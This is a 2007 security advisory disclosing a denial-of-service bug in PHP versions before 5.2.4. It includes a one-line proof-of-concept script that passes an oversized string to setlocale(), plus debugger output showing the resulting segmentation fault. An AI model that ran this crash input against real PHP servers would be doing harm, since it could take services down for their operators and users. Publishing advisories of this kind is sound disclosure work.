PHP < 5.2.4 setlocale() denial of service

Type securityvulns
Reporter Securityvulns
Modified 2007-09-06T00:00:00


Application: PHP < 5.2.4 Web Site: Platform: unix Bug: denial of service fonction: setlocale() special condition: default php-memory-limit

1) Introduction 2) Bug 3) Proof of concept 4) Greets 5) Credits =========== 1) Introduction ===========

"PHP is a widely-used general-purpose scripting language that is especially suited for Web development and can be embedded into HTML."

====== 2) Bug ======

setlocale() is vulnerable to a denial of service

===== 3)Proof of concept =====

Proof of concept example : <?php setlocale(LC_COLLATE, str_repeat("A", 34438013)); ?>

result: (gdb) run ./1.php Program received signal SIGSEGV, Segmentation fault. [Switching to Thread -1215805760 (LWP 10504)] 0xb78a584b in setlocale () from /lib/tls/i686/cmov/

======== 4)Greets ======== Ivanlef0u,Deimos,benji,soh,and everyones on worldnet: #futurezone & #nibbles

===== 5)Credits =====

Laurent gaffie contact : laurent.gaffie (at) gmail (dot) com [email concealed] stay tuned, site comming soon ....